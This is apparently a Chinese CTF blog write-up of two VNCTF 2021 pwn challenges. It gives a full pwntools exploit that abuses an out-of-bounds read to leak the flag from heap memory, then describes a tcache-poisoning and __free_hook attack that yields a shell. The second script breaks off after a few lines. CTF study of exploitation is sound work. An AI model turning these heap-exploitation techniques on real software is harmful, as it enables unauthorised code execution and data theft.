【CTF题解NO.00007】VNCTF2021 - pwn - write up by arttnba3

github blog addr there

VNCTF2021 - Pwn

太棒了,我逐渐理解一切.jpg

[VNCTF 2021]White_Give_Flag - read out of bounds

惯例的 checksec ,保护全开

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TNWJNScE-1617625416115)(https://i.loli.net/2021/04/01/nwjrFpHgQ1zJcEa.png)]

分析主函数逻辑可以发现仅提供了分配、释放、编辑堆块的功能,以及一个无用的打印随机数的功能,并不存在明显漏洞

image.png

在开头的初始化过程中会随机malloc数次并读入flag内容,其中最后一次并没有清空堆块,flag内容存在于 [0x300, 0x500] 大小的某个堆块中

image.png

在主函数中读入选项时有个 bug :返回值并非读入的数据通过atoi转成的数值,而是read() 的返回值,即读入的长度

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0Bi3FWF-1617625416128)(https://i.loli.net/2021/04/01/ArZkfW4yzwxiDaH.png)]

而读入选项后会打印 qword_202120数组中的字符串,我们不难想到的是:若是我们直接发送 EOF ,则 read() 会返回 0,我们即可向前越界读,这里可以使用 pwntools 库中的 shutdown_raw() 函数完成

image.png

前面刚好是储存堆块的数组,刚好可以读到第四个堆块

image.png

那么我们只需要不断尝试分配到一个存在 flag 的堆块后打印即可

构造exp如下:

from pwn import *
global p
#context.log_level = 'debug'

def cmd(command:int):
    p.recvuntil(b"choice:")
    p.sendline(command * b'a')

def new(size:int):
    cmd(0)
    p.recvuntil(b"size:")
    p.sendline(str(size).encode())

def free(index:int):
    cmd(2)
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())

def edit(index:int, content):
    cmd(3)
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit):
    for i in range(3):
        new(0x10)
    new(0x300 + hit * 0x10)
    edit(3, 'arttnba3arttnba4')
    p.recvuntil('choice:')
    p.shutdown_raw('send')
    s = p.recv()
    log.info(s)
    if b'{' in s or b'}' in s:
        exit()

if __name__ == '__main__':
    i = 0
    count = 0
    while True:
        try:
            print('try time: ' + str(count))
            print('try: ' + str(i) + ' now')
            p = remote("node4.buuoj.cn",39123)#process('./whitegive')
            exp(i)
            p.close()
            i += 1
            i %= 0x20
            count += 1
        except Exception as e:
            log.failure('exception!')
            p.close()
            i += 1
            i %= 0x20
            count += 1

运行即可获得flag

(都要给非酋爆傻了)

[VNCTF 2021]ff - tcache poisoning + IO_FILE hijack

惯例的 checksec ,保护全开

拖入IDA进行分析

大致是有着分配、释放、打印、编辑堆块功能的程序,但是限制了只能编辑两次、打印一次,同时一次只能操作一个堆块

释放功能中没有清空,存在 UAF

但是libc 的版本为 2.32 ,那么我们需要用掉唯一的一次打印的机会泄露堆基址才能通过 double free 进行任意地址写

而我们还需要想办法泄露 libc 基址,但是我们只能分配 0x80 的堆块,即使劫持了 tcache管理器 后所释放的堆块也只能够进入fastbin中(而且我们一次只能操作一个堆块

考虑到 tcache管理器 本身便是一个 0x291的堆块,我们可以劫持之后改对应计数为7后free掉,送入 unsorted bin 中,之后切割这个大chunk,利用残留指针 大概1/16 的几率可以爆破到 stdout 附近,劫持 stdout 以泄露 libc 基址,最后改 __free_hook 为 system 函数后释放一个内容为 /bin/sh的 chunk 即可 get shell

非酋的话可能要爆破很久…

故构造exp如下:

from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(command:int):
    p.recvuntil(b">>")
    p.sendline(str(command).encode()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值